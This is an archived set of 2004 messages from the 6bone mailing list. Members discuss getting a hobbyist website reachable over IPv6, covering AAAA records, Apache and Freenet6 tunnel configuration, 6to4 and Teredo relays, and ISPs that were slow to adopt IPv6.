> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.745 / Virus Database: 497 - Release Date: 27/08/2004
>
>
> ------------------------------
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>
>
> End of 6bone Digest, Vol 9, Issue 2
> ***********************************


From bruns@2mbit.com Tue Sep  7 14:19:13 2004
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	<200409072147.59648.Mailinglists.sven@roederer.dhs.org>
Subject: Re: [6bone] Ipv6 Enabled Web Site - Finally
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On Tuesday, September 07, 2004 3:47 PM [EDT], Sven Roederer  wrote:

> Am Dienstag, 7. September 2004 13:17 schrieb Gav:
>> So a favour if I could, if someone could visit my site at
>> http://www.minitutorials.com and look at the footer
>> of the page to see if (Colins script I think) the script correctly
>> identifies an IPv6 connection.
>> I have tested it internally to the network and an IPv6 connected
>> machine is correctly identified.
>> A non IPv6 enabled machine is also correctly identified as being a
>> v4 connection. So it all seems to work.
>
> Hi ,
>
> I just connected to your site, but it was not recognized as
> IPv6-connection. "194.29.229.78 Remote host supports IPv4 ". When I
> visit http://www.kame.net my v6-aware setup is recognized.
>

There does not appear to be any AAAA/A6 records for
www.minitutorials.com (according to my DNS server).


-- 
Brian Bruns
The Summit Open Source Development Group
Open Solutions For A Closed World / Anti-Spam Resources
http://www.sosdg.org

The Abusive Hosts Blocking List
http://www.ahbl.org


From gert@Space.Net Tue Sep  7 14:36:17 2004
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From: Gert Doering <gert@space.net>
To: Sven Roederer <Mailinglists.sven@roederer.dhs.org>
Subject: Re: [6bone] Ipv6 Enabled Web Site - Finally
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Hi,

On Tue, Sep 07, 2004 at 09:47:59PM +0200, Sven Roederer wrote:
> Am Dienstag, 7. September 2004 13:17 schrieb Gav:
> > So a favour if I could, if someone could visit my site at
> > http://www.minitutorials.com and look at the footer
> > of the page to see if (Colins script I think) the script correctly
> > identifies an IPv6 connection.
> > I have tested it internally to the network and an IPv6 connected machine is
> > correctly identified.
> > A non IPv6 enabled machine is also correctly identified as being a v4
> > connection. So it all seems to work.
> 
> Hi ,
> 
> I just connected to your site, but it was not recognized as IPv6-connection. 
> "194.29.229.78 Remote host supports IPv4 ". When I visit http://www.kame.net 
> my v6-aware setup is recognized.

That's mainly due to the fact that there is no AAAA record for
www.minitutorials.com in the DNS yet (which Gav writes later on in hist
mail).  So we *can't* access it over IPv6, even if the local browser
would be capable of doing so...

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  66629  (65398)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
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From old_mc_donald@hotmail.com Tue Sep  7 16:36:18 2004
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| All I see is:
| "You are currently here :~/index.shtml".
| Jay

Thanks for looking Jay, it is in the same blue footer as that statement, 
below that is a site index and below
that site index , right at the very bottom of the page is where the IP 
address and 'Remote Host Supports ...'
is.

Gav...


---
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From allan@aircadet.com Tue Sep  7 20:15:12 2004
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From: Allan Vejvoda <allan@aircadet.com>
To: 6bone@mailman.isi.edu
Subject: [6bone] Ipv6 Enabled Web Site - Finally
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>However, I have not
>done any registering of AAAA records etc, but rather added entries to >my 
>hosts file, as I am not sure in my
>circumstance that I can add AAAA records.

Well, the latest versions of BIND support AAAA records. If you need something free (a free yourname.something.com subdomain, and/or DNS hosting for AAA records), I recommend http://www.sitelutions.com/info/sldns. I've used their free DNS hosting+free subdomain for my own AAAA record. The DNS works like this:
You have IPv4: 127.0.0.1 and an IPv6: ::1. The domain name is localhost. Add an A record to localhost that points to 127.0.0.1, and an AAAA record to localhost that points to ::1. Those who have an IPv6 address and go to http://localhost will connect to the IPv6 IP by default. If someone does not have an IPv6 address and goes to http://localhost, that person will connect to the IPv4 IP by default. In other words, by having your domain point to both IPv4 and IPv6 addresses, you won't be creating any problems. Hope this helps :)



_____________________________________________________________
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>What about v6, when implemented, will this be the same smooth (as far >as a 
>customers point of view is concerned)
>silent and unseen mechanism that the end user needs know nothing about?

IPv6 is just version 6 of the protocol, so nothing is really going to change except for the greatly increasing the number of available IP addresses, the support of IP security, the mobility of IP addresses, autoconfiguration, 6 to 4 ability, and less routing table entries.

In the case of users, they will only need to know that IPv4 addresses consist of four decimal octets separated by three dots, that IPv6 addresses consist of 8 or less hexadecimal octets separated by colons, and finally, they will also need to know that IPv4 and IPv6 are not compatible with each other (except that IPv4 addresses can be mapped and embedded on IPv6).

>Will they just turn on the computer one day, and after an automatic >update, 
>be v6 enabled and surfing the web,
>or is the configurations and installations that we do now going to >need to 
>done on millions on machines around
>the globe?

Some ISPs already delegate IPv6 addresses when users connect to the internet. Comcast and Cox communications, for example, both automatically delegate IPv6 addresses to users who have IPv6 installed (or kernel compiled) on their computers.

>I guess v4 will still be around for a while yet, as I think many ISPs >etc 
>wont update their equipment for a few years.

They don't have to update anything except their software (unless they have _really_ old hardware). Most network interfaces support IPv6. I guess the only ones which wouldn't support IPv6 would be ones from the late '80s/early '90s. Though, you may be correct on the fact that many ISPs won't be using IPv6. My ISP, for example, hardly even knows how to set up firewalls! On their news page, they claimed they implemented DoS attack filtering, and the only change I noticed was that I could no longer use ping or traceroute due to their CISCO routers blocking _outgoing_ icmp packets. Anyone could ping my IP, but I could not ping theirs. I eventually complained to them and they fixed it about 4 months later. I called their tech support up and asked them about IPv6. At first they didn't even know what it was. Then the english-as-a-second-language-speaking tech support person asked me what version of Windows I had. After explaining to this poor man what FreeBSD was (because when I said I had FreeBSD, he replied, "uh, what's that?"), he came back and said "we don't support UNIX, and UNIX will not work with this internet service". Heh, their own servers run Solaris! (Which is UNIX, right? So UNIX does not work with itself? Nonsense) It goes to say that in the coming years, the IPv6 progress may be slowed down by these ISPs which have no idea about the outside world, and only know how to pop a CD in a Windows computer to install ISP software for connecting to the internet.



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From gert@Space.Net Wed Sep  8 01:38:16 2004
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Hi,

On Tue, Sep 07, 2004 at 09:05:05PM -0700, Allan Vejvoda wrote:
>  d I had FreeBSD, he replied, "uh, what's that?"), he came back
> and said "we don't support UNIX, and UNIX will not work with this
> internet service". Heh, their own servers run Solaris! (Which is
> UNIX, right? So UNIX does not work with itself? Nonsense) It goes
> to say that in the coming years, the IPv6 progress may be slowed
> down by these ISPs which have no idea about the outside world, and
> only know how to pop a CD in a Windows computer to install ISP
> software for connecting to the internet.

Hopefully this will eventually make people pay a few dollars more per
month and connect to clueful ISPs.

<rant>
I *really* can't understand that.   People like myself invest heavily
to get clueful and well-trained people to run the shop, and all we
get to hear from our customers is "you are too expensive, we will 
choose the no-support-no-clue ISP round the corner".

And then they complain that the ISP has no clue...
</rant>

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  66629  (65398)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
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Hi,

Gert Doering wrote:
> <rant>
> I *really* can't understand that.   People like myself invest heavily
> to get clueful and well-trained people to run the shop, and all we
> get to hear from our customers is "you are too expensive, we will 
> choose the no-support-no-clue ISP round the corner".
> 
> And then they complain that the ISP has no clue...
> </rant>

Same here :(  The realy difficult part is to make them understand/appreciate
the extra value they get for their money...

There will always be people that only look at the price and not at the
service, but we decided long ago that we don't even want those people as our
customers.

Sander.


From dr@cluenet.de Wed Sep  8 02:10:13 2004
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On Tue, Sep 07, 2004 at 09:05:05PM -0700, Allan Vejvoda wrote:
> Some ISPs already delegate IPv6 addresses when users connect to
> the internet. Comcast and Cox communications, for example, both
> automatically delegate IPv6 addresses to users who have IPv6
> installed (or kernel compiled) on their computers.

How do they do that? Statically routing a /48 or /64?


Regards,
Daniel

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On Wed, 2004-09-08 at 11:10, Daniel Roesen wrote:
> On Tue, Sep 07, 2004 at 09:05:05PM -0700, Allan Vejvoda wrote:
> > Some ISPs already delegate IPv6 addresses when users connect to
> > the internet. Comcast and Cox communications, for example, both
> > automatically delegate IPv6 addresses to users who have IPv6
> > installed (or kernel compiled) on their computers.
>=20
> How do they do that? Statically routing a /48 or /64?

The only thing comcast 'does' is allow proto-41 to work.
The thing those people are using is called 6to4, which is yet another
tunneling mechanism and is nowhere near native IPv6.

Afaik Comcast uses DOCSIS modems and those babys don't do IPv6.

Greets,
 Jeroen


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From hansolofalcon@worldnet.att.net Wed Sep  8 09:14:20 2004
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
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Subject: RE: [6bone] The future
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Hello from Gregg C Levine
I am inclined to agree with all of you.
I have AT&T Worldnet's DSL service, which is supplied by Covad. As I
understand that, it turns out that the commercial side of AT&T's
activities are also jointly supplied by Covad. They are in the exact
same position that the clueless ISP is, that the fellow complained
about in an earlier message. I run here, yes Windows, and Linux. They
completely support Windows, barely support Macs, and do not support
Linux. They do not even know what that is. They have a user supplied,
and sometimes maintained website. It does not cover Linux or FreeBSD,
or any of the BSD operating systems properly. It does not even cover
the BSD operating systems.

However, I suspect its because they haven't a clew as to what their
own servers are running that they chose Windows to be the default OS,
never realizing that it does not cover the monopoly that it was as
much as five years earlier.

Oh and their tech support is exactly like the fellow who started this
discussion suggested.

It is going to take an industrial strength miracle to straiten out
these companies. And I am fresh out of them.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi

> -----Original Message-----
> From: 6bone-bounces@mailman.isi.edu
[mailto:6bone-bounces@mailman.isi.edu]
> On Behalf Of Sander Steffann
> Sent: Wednesday, September 08, 2004 5:02 AM
> To: 6bone@mailman.isi.edu
> Subject: RE: [6bone] The future
> 
> Hi,
> 
> Gert Doering wrote:
> > <rant>
> > I *really* can't understand that.   People like myself invest
heavily
> > to get clueful and well-trained people to run the shop, and all we
> > get to hear from our customers is "you are too expensive, we will
> > choose the no-support-no-clue ISP round the corner".
> >
> > And then they complain that the ISP has no clue...
> > </rant>
> 
> Same here :(  The realy difficult part is to make them
understand/appreciate
> the extra value they get for their money...
> 
> There will always be people that only look at the price and not at
the
> service, but we decided long ago that we don't even want those
people as our
> customers.
> 
> Sander.
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From cinnion@ka8zrt.com Wed Sep  8 10:08:15 2004
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Date: Wed, 8 Sep 2004 13:07:59 -0400
From: Douglas Wade Needham <cinnion@ka8zrt.com>
To: Gregg C Levine <hansolofalcon@worldnet.att.net>
Subject: DSL providers, support, and IPv6 (was Re: [6bone] The future)
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Tell me about it Greg.  I get my service directly from Covad, and have
asked a number of times about IPv6.  And yes, they are clueless when
it comes to anything other than Windoze, and mostly clueless even
then.  Over the past two years, I have had problems where my DSL
router stops talking on the WAN side (problems with SBC at the CO
about 70% of the time), and where other times occasionally I will go
through a period where the LAN side stops talking.  Their response was
"well, we want you to unplug the DSL router...", without any attempt
to collect proper diagnostics.  And one time, some moron tech claimed
that I was too close to the DSLAM (I am under 1700'), and wanted to
set my speed down.

If they had paid any attention to me and the years of IP experience I
gained getting places like Ohio State and CompuServe on the net, they
would have headed off a couple of problems in their backbone network
(I detected a failing router interface 3 weeks before it failed and
they suffered an outage of nearly 20 hours).  But instead, most of
their tier 1 techs are clueless and follow a script.  They have no
idea how to handle the fact that I connect via a NetBSD firewall, and
have a number of times wanted me to connect a Windoze PC directly to
the router.  Fortunately, I have hammered them and the tier 1 support
management enough times with enough volume of diagnostics (like pings,
packet traces, etc.) that I can get routed to tier 2 about 50% of the
time.  And I was also lucky enough to finally get someone at Zyxel to
put me in touch with one of their techs, from whom I got a FW update
which seems to have lessened the the LAN side locking up.  But Covad
was still thinking of replacing my current router with some different
brand which has nowhere near the capabilities (no SNMP, no serial
console), and does seem to require Windoze to manage, so I said "No
Thanks".

Would I switch?  Not unless there was one who was proven to know about
UN*X, had static IPs and high speeds (I plan on upgrading to 3000/768
when I get a new job), and was actively talking IPv6 as well.  My
friends who use SBC or the other providers we seem to have here in
central Ohio seem to have the same problems, so I will stick with
stupidity I know and can sometimes manipulate rather than having to go
through the learning curve with some other provider.  Besides, word
seems to have spread a bit through the tier 2 techs that I know what I
am talking about, and generally have some good diagnostics by the time
I call them.  Shoot, last time I called, the tech knew that there was
a diagram of my network in my support records. 8)

- Doug

Quoting Gregg C Levine (hansolofalcon@worldnet.att.net):
> Hello from Gregg C Levine
> I am inclined to agree with all of you.
> I have AT&T Worldnet's DSL service, which is supplied by Covad. As I
> understand that, it turns out that the commercial side of AT&T's
> activities are also jointly supplied by Covad. They are in the exact
> same position that the clueless ISP is, that the fellow complained
> about in an earlier message. I run here, yes Windows, and Linux. They
> completely support Windows, barely support Macs, and do not support
> Linux. They do not even know what that is. They have a user supplied,
> and sometimes maintained website. It does not cover Linux or FreeBSD,
> or any of the BSD operating systems properly. It does not even cover
> the BSD operating systems.
> 
> However, I suspect its because they haven't a clew as to what their
> own servers are running that they chose Windows to be the default OS,
> never realizing that it does not cover the monopoly that it was as
> much as five years earlier.
> 
> Oh and their tech support is exactly like the fellow who started this
> discussion suggested.
> 
> It is going to take an industrial strength miracle to straiten out
> these companies. And I am fresh out of them.
> -------------------
> Gregg C Levine hansolofalcon@worldnet.att.net
> ------------------------------------------------------------
> "The Force will be with you...Always." Obi-Wan Kenobi
> "Use the Force, Luke."? Obi-Wan Kenobi
> 
> > -----Original Message-----
> > From: 6bone-bounces@mailman.isi.edu
> [mailto:6bone-bounces@mailman.isi.edu]
> > On Behalf Of Sander Steffann
> > Sent: Wednesday, September 08, 2004 5:02 AM
> > To: 6bone@mailman.isi.edu
> > Subject: RE: [6bone] The future
> > 
> > Hi,
> > 
> > Gert Doering wrote:
> > > <rant>
> > > I *really* can't understand that.   People like myself invest
> heavily
> > > to get clueful and well-trained people to run the shop, and all we
> > > get to hear from our customers is "you are too expensive, we will
> > > choose the no-support-no-clue ISP round the corner".
> > >
> > > And then they complain that the ISP has no clue...
> > > </rant>
> > 
> > Same here :(  The realy difficult part is to make them
> understand/appreciate
> > the extra value they get for their money...
> > 
> > There will always be people that only look at the price and not at
> the
> > service, but we decided long ago that we don't even want those
> people as our
> > customers.
> > 
> > Sander.
> > 
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
Douglas Wade Needham - KA8ZRT        UN*X Consultant & UW/BSD kernel programmer
Email:  cinnion @ ka8zrt . com       http://cinnion.ka8zrt.com
Disclaimer: My opinions are my own.  Since I don't want them, why
            should my employer, or anybody else for that matter! 

From jeroen@unfix.org Wed Sep  8 10:09:17 2004
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Subject: RE: [6bone] The future
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On Wed, 2004-09-08 at 18:12, Gregg C Levine wrote:
> Hello from Gregg C Levine
> I am inclined to agree with all of you.
> I have AT&T Worldnet's DSL service, which is supplied by Covad. As I
> understand that, it turns out that the commercial side of AT&T's
> activities are also jointly supplied by Covad. They are in the exact
> same position that the clueless ISP is, that the fellow complained
> about in an earlier message. I run here, yes Windows, and Linux. They
> completely support Windows, barely support Macs, and do not support
> Linux. They do not even know what that is. They have a user supplied,
> and sometimes maintained website. It does not cover Linux or FreeBSD,
> or any of the BSD operating systems properly. It does not even cover
> the BSD operating systems.

Ehmm.... you should consider that they are *END USER* support.
And as the typical (99% or so) of the end users, of which they make
their money don't run any of the linux/bsd or other variants and
typically thus run Windows why the heck should they care about the fact
that you are running some kind of OS, with which they won't make
revenue? Nevertheless, setting up something like that should not require
support, only DHCP and otherwise IP,netmask,DNS and you are off, the
support is in google ;)

Gert and Daniel where talking about commercial clients going to
'commercial grade' ISP's which are cheap... and then not getting any
support ;)

Greets,
 Jeroen


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On Wed, 8 Sep 2004, Jeroen Massar wrote:

> On Wed, 2004-09-08 at 11:10, Daniel Roesen wrote:
>> On Tue, Sep 07, 2004 at 09:05:05PM -0700, Allan Vejvoda wrote:
>>> Some ISPs already delegate IPv6 addresses when users connect to
>>> the internet. Comcast and Cox communications, for example, both
>>> automatically delegate IPv6 addresses to users who have IPv6
>>> installed (or kernel compiled) on their computers.
>>
>> How do they do that? Statically routing a /48 or /64?
>
> The only thing comcast 'does' is allow proto-41 to work.
> The thing those people are using is called 6to4, which is yet another
> tunneling mechanism and is nowhere near native IPv6.
>
> Afaik Comcast uses DOCSIS modems and those babys don't do IPv6.

AFAIK, DOCSIS does layer 2 bridging, so it could work. Ever hopeful, 
I just now started up "rtsold" on the interface serviced by Comcast 
(Chicago), but alas, nothing answered the router solicitations.

Frederick

From jeroen@unfix.org Wed Sep  8 23:46:18 2004
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Subject: Re: [6bone] The future
From: Jeroen Massar <jeroen@unfix.org>
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On Thu, 2004-09-09 at 03:28, isabella wrote:=20
>  Hi,
>   Someone said something about DOCSIS not supporting IPv6 and that made m=
e=20
> curious. Googling i found some people are saying YES! and others NO!. The=
=20
> most authoritive info was on cisco.com that says:
>   "Today, IPv6 services can be offered on Cisco UBR7200 Series cable rout=
ers=20
> by configuring IPv6 over IPv4 tunnels, but native IPv6 requires an update=
 to=20
> the DOCSIS=C2=AE specifications. As an active contributor to the Cable La=
bs=20
> efforts, Cisco will work with Cable Labs to incorporate IPv6 support into=
=20
> future DOCSIS specifications"

As mentioned there it is *not* in the specs, tunneling can be done by most
of them, especially as this is merely a bridge, but unfortunately most DOCS=
IS's
apparently don't do it per default the correct way thus you won't get nativ=
e IPv6,
but then again, your ISP also needs to provide it too you...

On Thu, 2004-09-09 at 03:53, Frederick Bruckman wrote:=20
> On Wed, 8 Sep 2004, Jeroen Massar wrote:
>=20
> > On Wed, 2004-09-08 at 11:10, Daniel Roesen wrote:
> >> On Tue, Sep 07, 2004 at 09:05:05PM -0700, Allan Vejvoda wrote:
> >>> Some ISPs already delegate IPv6 addresses when users connect to
> >>> the internet. Comcast and Cox communications, for example, both
> >>> automatically delegate IPv6 addresses to users who have IPv6
> >>> installed (or kernel compiled) on their computers.
> >>
> >> How do they do that? Statically routing a /48 or /64?
> >
> > The only thing comcast 'does' is allow proto-41 to work.
> > The thing those people are using is called 6to4, which is yet another
> > tunneling mechanism and is nowhere near native IPv6.
> >
> > Afaik Comcast uses DOCSIS modems and those babys don't do IPv6.
>=20
> AFAIK, DOCSIS does layer 2 bridging, so it could work. Ever hopeful,=20
> I just now started up "rtsold" on the interface serviced by Comcast=20
> (Chicago), but alas, nothing answered the router solicitations.

People saying they have IPv6 at comcast either are using some very
unknown beta service or are simply using 6to4, which should simply
'work' when you type 'ipv6 install' on an XP box, given that it might
also do Teredo if 6to4 fails.

Greets,
 Jeroen


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On 9-sep-04, at 8:45, Jeroen Massar wrote:

> People saying they have IPv6 at comcast either are using some very
> unknown beta service or are simply using 6to4, which should simply
> 'work' when you type 'ipv6 install' on an XP box, given that it might
> also do Teredo if 6to4 fails.

So there are Teredo servers/relays/whatever now?

I've found that if you want IPv6 support from an ISP you generally have 
to get them to hire you to install it.  :-)


From jeroen@unfix.org Thu Sep  9 01:35:20 2004
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On Thu, 2004-09-09 at 10:26, Iljitsch van Beijnum wrote:
> On 9-sep-04, at 8:45, Jeroen Massar wrote:
>=20
> > People saying they have IPv6 at comcast either are using some very
> > unknown beta service or are simply using 6to4, which should simply
> > 'work' when you type 'ipv6 install' on an XP box, given that it might
> > also do Teredo if 6to4 fails.
>=20
> So there are Teredo servers/relays/whatever now?

I said it works, I didn't say that it would perform, the same with 6to4,
it all depends on where the relay is (latency) and how crowded, how much
bandwidth it allows and never forget that there is also a path back...
and with the current state of the IPv6 routing tables towards such
addresses it might not be fast at all. But it all depends on conditions,
the moon, the sun alignment etc ;) But it *does* work, one gets
connectivity.

Afaik there are currently only a few number of (public) Teredo relays:
 - The Microsoft 'default' one, which is thus in the US
   (don't know if it is anycasted but afaik it isn't)
 - teredo.ipv6.6wind.com (http://www-rp.lip6.fr/teredo/)

And I guess, the third implementation, (Miredo /
http://www.simphalempin.com/dev/miredo/) will have some
relay somewhere too...


> I've found that if you want IPv6 support from an ISP you generally have=20
> to get them to hire you to install it.  :-)

That is also a solution, or just use one of the several tunnelbrokers
around the world. The biggest of which all support NAT's too ;)

Greets,
 Jeroen


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From old_mc_donald@hotmail.com Thu Sep  9 06:20:20 2004
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Earlier in this thread I said :-
|
| Ideally I would to be able to, as advised not long ago in here have :-
|
| www.minitutorials.com AAAA + A
| www.v4.minitutorials.com A
| www.v6.minitutorials.com AAAA
|

This has now been done, using Sitelutions - thanks Allan !!
Although I got the syntax above a bit wrong.

I now have :-

http://www.minitutorials.com AAAA + A
http://minitutorials.com AAAA + A
http://v4.minitutorials.com A
http://v6.minitutorials.com AAAA

and seems to work a treat, again though as pointed out by Gert, I am using 
my internal network
to test this, some v6 enabled, some not , and works (or not) as it should.

Anyone like to confirm this for me please.?
As of 09/09/04 9:00PM Australia WST so dont know how long the before other 
DNS will get updated.

Thanks

Gav...


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From cfaber@fpsn.net Thu Sep  9 17:38:23 2004
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Subject: [6bone] Wifi IPv6 via sveasoft's Linksys WRT54G wifi AP router
	firmware upgrade.
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Hi folks,

I just thought I'd pass along this information.  I have been able to 
successfully setup an WEP encrypted WDS link between two remote sites 
which have successfully transparently passed all desired IPv6 traffic 
from one side to the other with out any problems.


From gert@Space.Net Fri Sep 10 09:49:34 2004
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Subject: Re: [6bone] Wifi IPv6 via sveasoft's Linksys WRT54G wifi AP router
	firmware upgrade.
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Hi,

On Thu, Sep 09, 2004 at 06:36:52PM -0600, Colin Faber wrote:
> I just thought I'd pass along this information.  I have been able to 
> successfully setup an WEP encrypted WDS link between two remote sites 
> which have successfully transparently passed all desired IPv6 traffic 
> from one side to the other with out any problems.

Should this be a reason to celebrate?  Unless I'm mistaken, WEP and 
WLAN-Access in general should be about as transparent as a normal
Ethernet switch, which is completely agnostic to IP, IPv6, IPX, or 
whatever...

(Just for the records: using IPv6 over my ancient Apple Airport Base
Station works perfectly.  Of course the Airport BS doesn't support
IPv6 routing, or PPP login to an ISP with IPv6 - now *that* would be 
something to celebrate...)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  66629  (65398)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


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From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <6bone@mailman.isi.edu>
References: <4140F724.4050804@fpsn.net> <20040910164838.GG467@Space.Net>
Subject: Re: [6bone] Wifi IPv6 via sveasoft's Linksys WRT54G wifi AP
	routerfirmware upgrade.
Date: Fri, 10 Sep 2004 19:32:06 +0200
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We have installed IPv6 in a Linksys unit, but we included routing, and all kind of L3 features, and still working on adding some more interesting stuff, like for example PANA.

We are also considering including UPnP so it can be used to control home automation devices ;-)

Regards,
Jordi

---- Original Message ----
From: "Gert Doering" <gert@space.net>
To: "Colin Faber" <cfaber@fpsn.net>
Cc: <6bone@mailman.isi.edu>
Sent: Friday, September 10, 2004 6:48 PM
Subject: Re: [6bone] Wifi IPv6 via sveasoft's Linksys WRT54G wifi AP
routerfirmware upgrade. 

> Hi,
> 
> On Thu, Sep 09, 2004 at 06:36:52PM -0600, Colin Faber wrote:
>> I just thought I'd pass along this information.  I have been able to
>> successfully setup an WEP encrypted WDS link between two remote sites
>> which have successfully transparently passed all desired IPv6 traffic
>> from one side to the other with out any problems.
> 
> Should this be a reason to celebrate?  Unless I'm mistaken, WEP and
> WLAN-Access in general should be about as transparent as a normal
> Ethernet switch, which is completely agnostic to IP, IPv6, IPX, or
> whatever...
> 
> (Just for the records: using IPv6 over my ancient Apple Airport Base
> Station works perfectly.  Of course the Airport BS doesn't support
> IPv6 routing, or PPP login to an ISP with IPv6 - now *that* would be
> something to celebrate...)
> 
> Gert Doering
>        -- NetMaster


**********************************
Madrid 2003 Global IPv6 Summit
Presentations and videos on line at:
http://www.ipv6-es.com

This electronic message contains information which may be privileged or confidential. The information is intended to be for the use of the individual(s) named above. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, including attached files, is prohibited.




From Toomas.Soome@microlink.ee Fri Sep 10 11:45:32 2004
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From: Toomas Soome <Toomas.Soome@microlink.ee>
Subject: Re: [6bone] Wifi IPv6 via sveasoft's Linksys WRT54G wifi AP router
	firmware upgrade.
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Gert Doering wrote:
> Hi,
> 
> On Thu, Sep 09, 2004 at 06:36:52PM -0600, Colin Faber wrote:
> 
>>I just thought I'd pass along this information.  I have been able to 
>>successfully setup an WEP encrypted WDS link between two remote sites 
>>which have successfully transparently passed all desired IPv6 traffic 
>>from one side to the other with out any problems.
> 
> 
> Should this be a reason to celebrate?  Unless I'm mistaken, WEP and 
> WLAN-Access in general should be about as transparent as a normal
> Ethernet switch, which is completely agnostic to IP, IPv6, IPX, or 
> whatever...

well, depends... my linksys unit is unusable with any fiwmware I have 
used so far, usually it will hung itself within ~1-1.5 day without any 
wifi traffic at all.... so, celebrate while you can...:)

toomas



From old_mc_donald@hotmail.com Mon Sep 13 05:32:40 2004
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Allan, thanks for replying, copying this to the list one more time to try 
and get this thing licked once and for all,  if there is a problem  in my 
setup, then yes, the httpd.conf file is where I guess it would be - or it 
could be in the conf file of my Freenet6 tunnel, I am still not sure that I 
have configured it to broadcast on the correct interface. I can connect to 
any v6 only sites no problem.

However, it is difficult for me to track the problem as I don't have access 
to an IPv6 enabled machine 'outside' of my network. It works perfect inside 
the network, which I find strange as the internal computers still have to go 
'outside' to the internet, to DNS servers to FREENET6 , to sitelutions etc 
and then back into the network to my Server.

I am giving now all relevant info , if any more is required please let me 
know.

A ipv4 only computer, works as expected - it can connect to 
www.minitutorials.com, http://minitutorials.com, http://v4.minitutorials.com 
no problems but can not access http://v6.minitutorials.com.

An IPv6 enabled computer can access all sites including 
http://v6.minitutorials.com which has been configured as v6 only in the DNS 
settings of my sitelutions account.

Both IPv4 and IPv6 connections are reflected correctly in the script at the 
bottom of each page on the site. Can you see this script ok, does it 
recognise your connection as v6 ?

As for Apache and httpd.conf.

Initially I had problems enabling Apache 2 for IPv6, the binary release (I 
am using Windows) does NOT have v6 enabled on it but had to be compiled it, 
which I got from Kato, I know this is working as it accepts v6 addresses in 
the Listen and VirtualHost directives (whereas my original binary with v6 
support would not).

The relevant parts of my httpd.conf file are as follows, I may change this 
shortly, but this is the only configuration where I have got it to work on 
my computers here within the network.

..
..
Listen [::]:80 <---- Currently using this as advised in 6bone, gloms onto 
all v6 addresses.
Listen 0.0.0.0:80
#Listen [3ffe:bc0:8000::3c6b]  <---- This is my tunnel endpoint address 
assigned by Freenet6, not tried this yet.
..
..
#NamevirtualHost [3ffe:bc0:8000::3c6b] <----Freenet6 Tunnel again. Not used.
NameVirtualHost *:80
NameVirtualHost *[3ffe::]:80 <---- Interesting how this lets the server 
start, tried [::]:80 and server would not start.
..
..

<VirtualHost *>

 ServerName minitutorials.serveftp.net
 ServerAlias www.minitutorials.com minitutorials.com 
www.minitutorials.serveftp.net
 ServerAdmin webmaster@minitutorials.com
 DocumentRoot "/minitutorials"      #(path altered)
 ErrorLog "logs/minitutorials.com-error_log"
 CustomLog logs/minitutorials.com-access_log combined
 UseCanonicalName off
 AddHandler server-parsed .shtml
 Options Indexes FollowSymLinks +Includes ExecCGI
 AddType text/html .shtml
 AddOutputFilter INCLUDES .shtml
..
</VirtualHost>

<VirtualHost *[3ffe::]:80>

 ServerName v6.minitutorials.com
 ServerAlias www.minitutorials.com minitutorials.com 
www.minitutorials.serveftp.net
 ServerAdmin webmaster@minitutorials.com
 DocumentRoot "/minitutorialsv6"     #( path altered)
 ErrorLog "logs/minitutorialsv6.com-error_log"
 CustomLog logs/minitutorialsv6.com-access_log combined
 UseCanonicalName off
 AddHandler server-parsed .shtml
 Options Indexes FollowSymLinks +Includes ExecCGI
 AddType text/html .shtml
 AddOutputFilter INCLUDES .shtml
..
</VirtualHost>

# The second VirtualHost above has no effect, does not get served, so first 
default is used.

Relevent details of Freenet6 tspc.conf file

server=tsps2.freenet6.net
if_tunnel=2 <---- See ipv6if.txt, is this right ? (I see the new client does 
not use this)
host_type=router  <---- Assumed this setting, other option was 'host' , not 
sure if this is right ??
prefixlen=48
if_prefix=4 <---- Interface used for router advertisement. See ipv6if.txt ?
#DNS Server for reverse DNS
#dns_server=           <--- Not used currently, what does this need to be.?

Now that freenet6 is hexago, maybe I need to download and configure a new 
client.?
Anyone from hexago/freenet6 here to confirm this/my setup.

doing an ipv6 if tells me that :-

(file attached showing output)

Interface 2 is Automatic Tunnelling Pseudo Interface , preferred global of 
3ffe:bc0:8000::3c6b - Freenet6 tunnel endpoint.
Interface 4 is Local Area Connection NIC to internet via cable modem, output 
does not look right though.

netstat -an shows
..
TCP: [::]:80    [::]:0         LISTENING         0
..

Dont know what else to give you guys that might help.

Gav...


----- Original Message ----- 
From: "Allan Vejvoda" <allan@aircadet.com>
To: "Gav" <old_mc_donald@hotmail.com>
Sent: Monday, September 13, 2004 9:55 AM
Subject: Re: [6bone] Ipv6 Enabled Web Site - Finally


|I was unable to connect to the IPv6 portion of your website, though, I have 
been able to resolve your website address to:
|
| [DNS] Canonical: www.minitutorials.com Numerical: 3ffe:bc0:8000::3c6b
| [DNS] Numerical: 203.121.204.130
|
| Which means your domain points to both IPv6 and IPv4. However, you will 
need to configure your webserver for an IPv6 port. Apache 1.x requires a 
special 1.x+ipv6 version, and Apache 2 fully supports IPv6 by default. This 
will need to be done in the httpd.conf file, by the Listen block.



---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.754 / Virus Database: 504 - Release Date: 6/09/2004 

------=_NextPart_000_002A_01C499D0.83EEA940
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Interface 6: Teredo Tunneling Pseudo-Interface=0D
